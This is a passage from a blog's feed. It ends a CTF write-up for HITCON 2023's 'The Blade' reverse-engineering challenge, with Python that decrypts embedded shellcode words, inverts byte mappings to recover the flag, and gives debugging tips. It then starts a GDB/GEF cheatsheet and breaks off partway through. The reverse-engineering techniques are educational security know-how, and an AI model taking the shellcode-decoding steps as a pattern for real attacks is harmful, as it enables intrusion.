    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;neg&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r14&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r13&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; r12&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;

byteorder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;little&#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# `encrypted` words obtained from 160010 to 16004f.&lt;/span&gt;
encrypted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x526851a7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31ff2785&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc7d28788&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x523f23d3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaf1f1055&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5c94f027&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x797a3fcd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xe7f02f9f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x3c86f045&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x6deab0f9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x91f74290&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x7c9a3aed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdc846b01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x743c86c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdff7085c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xa4aee3eb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
decrypted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;shelldec&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; u &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; encrypted&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;tying-it-all-together&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#tying-it-all-together&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Tying it All Together&lt;/h3&gt;
&lt;p&gt;All that&#39;s left is to tie the three parts together.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;to_bytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; byteorder&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; u &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; decrypted&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apply_rmp&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apply_rperm&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;debugging-our-mess&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#debugging-our-mess&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Debugging Our Mess&lt;/h2&gt;
&lt;p&gt;Some small tips on debugging.&lt;/p&gt;
&lt;p&gt;Sometimes the solution is simple and straightforward. But occasionally, we make programming mistakes or misunderstand the problem. Debugging code can be painful.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Prove inverse function holds. Sounds mathy, but the basic principle is to check if our &lt;em&gt;reversed output&lt;/em&gt; equals our &lt;em&gt;input&lt;/em&gt;. In math terms: &lt;code&gt;f(g(x)) = g(f(x)) = x&lt;/code&gt;, where &lt;code&gt;g&lt;/code&gt; is the inverse of &lt;code&gt;f&lt;/code&gt;. If it&#39;s not equal, clearly we messed up somewhere.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is useful for the second part (mapping), because our domain is small, just 0 - 255.&lt;/li&gt;
&lt;li&gt;For example, with shellcode encryption, we can do a forward pass, to make sure we&#39;re getting the same data.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;shellenc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Forward shell encryption.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    u32 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xFFFFFFFF&lt;/span&gt; 
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; neg&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u32&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; r12&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r13&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r14

&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; encrypted &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;shellenc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; v &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; decrypted&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;code&gt;assert&lt;/code&gt;s. Great for intermediate checks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verify assumptions with dynamic analysis.
For example, I had falsely assumed in the shellcode that &lt;code&gt;r12 == 0&lt;/code&gt;, since seemed to be pushed by the assembly. But as we found out, &lt;code&gt;r12 == L&amp;quot;FLE&#92;x7f&amp;quot;&lt;/code&gt;.
However, be wary of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Observer_effect_(information_technology)&quot;&gt;observer effect&lt;/a&gt;, where the program changes behaviour when observed. I haven&#39;t seen this much in CTFs, but it&#39;s certain to be out there...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;It&#39;s easy to miss things out. I know I did. Lots of hair was lost until I realised I left out the shellcode. I also tried to search the shellcode on ExploitDB, but no luck, because it was hand-spun.&lt;/p&gt;
&lt;p&gt;But overall, a sweet challenge. And one that left me with nice rave music to power me through Saturday.&lt;/p&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/bea5665f3cd340997ff60e069558e80d.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;hitcon{&amp;lt;https://soundcloud.com/monstercat/noisestorm-crab-rave&amp;gt;}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(I don&#39;t know what this music was. It was my first time listening to it. And it&#39;s &lt;em&gt;&lt;strong&gt;epic&lt;/strong&gt;&lt;/em&gt;! So thank you, wxrdnx, for introducing this nice rave and meme.)&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;A better specifier would be &lt;code&gt;x/64bd&lt;/code&gt;. This displays 64 &lt;code&gt;d&lt;/code&gt;ecimal &lt;code&gt;b&lt;/code&gt;ytes, and is more convenient to parse in Python. But I chose &lt;code&gt;x/16wx&lt;/code&gt; since I didn&#39;t know better at the time and caused myself extra pain. 🥲 &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>rust</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>GDB/GEF Cheatsheet</title>
        <description>Quick command reference on one of the most powerful tools for dynamic analysis.</description>
        <link href="https://trebledj.me/posts/gdb-cheatsheet/"/>
        <updated>2023-09-11T00:00:00Z</updated>
        <id>https://trebledj.me/posts/gdb-cheatsheet/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This is a curated collection of GDB/GEF commands which I find incredibly useful for dynamic analysis and reverse engineering. These are mainly personal notes and may be incomplete, but suggestions are welcome! If there&#39;s a useful GDB/GEF command you use that&#39;s not on this list, do &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#comments&quot;&gt;leave a comment&lt;/a&gt; or &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;let me know&lt;/a&gt; so that I can add it. :)&lt;/p&gt;
&lt;h2 id=&quot;the-basics&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#the-basics&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Basics&lt;/h2&gt;
&lt;h3 id=&quot;hjaelp&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#hjaelp&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Hjaelp!&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Describes how to use a command.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;command&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; info
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; breakpoint&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;execution&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#execution&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Execution&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Run Program with Loaded File&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gdb &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;filename&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Load Files&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;filename&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Running&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;start    &lt;span class=&quot;token comment&quot;&gt;# Starts program and breaks at beginning.&lt;/span&gt;
run      &lt;span class=&quot;token comment&quot;&gt;# Runs program normally.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Continue program where you left off.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;# Kill process.&lt;/span&gt;
quit     &lt;span class=&quot;token comment&quot;&gt;# Leave GDB.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Shell Commands&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;shell &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
shell &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; Hi
&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;interrupting&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#interrupting&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Interrupting&lt;/h3&gt;
&lt;p&gt;We want to inspect a program in the guts. But how do we stop it where we want?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^C&lt;/code&gt; during program execution. (Also throws a &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;SIGnal INTerrupt.&quot;&gt;&lt;code&gt;SIGINT&lt;/code&gt;&lt;/abbr&gt;.)&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;start&lt;/code&gt; instead of &lt;code&gt;run&lt;/code&gt;. Breaks after starting the program.&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoints&quot;&gt;breakpoints&lt;/a&gt; (break on address).&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;watchpoints&lt;/a&gt; (break on data).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-debugging&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#step-debugging&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step Debugging&lt;/h3&gt;
&lt;p&gt;Once we&#39;ve stopped, what do we do? How do we navigate instructions and functions effectively?&lt;/p&gt;
&lt;p&gt;Step debugging is one of the core features of GDB, and an invaluable tool for all programmers. Modern IDEs have step debugging functionality built-in to operate seamlessly with code. But in GDB, you can operate it with the familiar touch of your keyboard!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Step Debugging&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## Step (into).&lt;/span&gt;
step
s
&lt;span class=&quot;token comment&quot;&gt;## Step over.&lt;/span&gt;
next
n
&lt;span class=&quot;token comment&quot;&gt;## Step (into) one instruction exactly.&lt;/span&gt;
stepi
si
&lt;span class=&quot;token comment&quot;&gt;## Step over one instruction.&lt;/span&gt;
nexti
ni
&lt;span class=&quot;token comment&quot;&gt;## Step out. Execute until (selected) stack frame returns (past end of function).&lt;/span&gt;
finish
fin&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;disassembly&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#disassembly&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Disassembly&lt;/h3&gt;
&lt;p&gt;Useful for verifying addresses and assembly, even if you use a decompiler.&lt;/p&gt;
&lt;p&gt;View instructions at a function or address.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address/function&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;end addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;,+&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;offset&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

disas main&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Enable Intel-flavoured ASM syntax.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; disassembly-flavor intel&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;View data as instructions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;x/&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
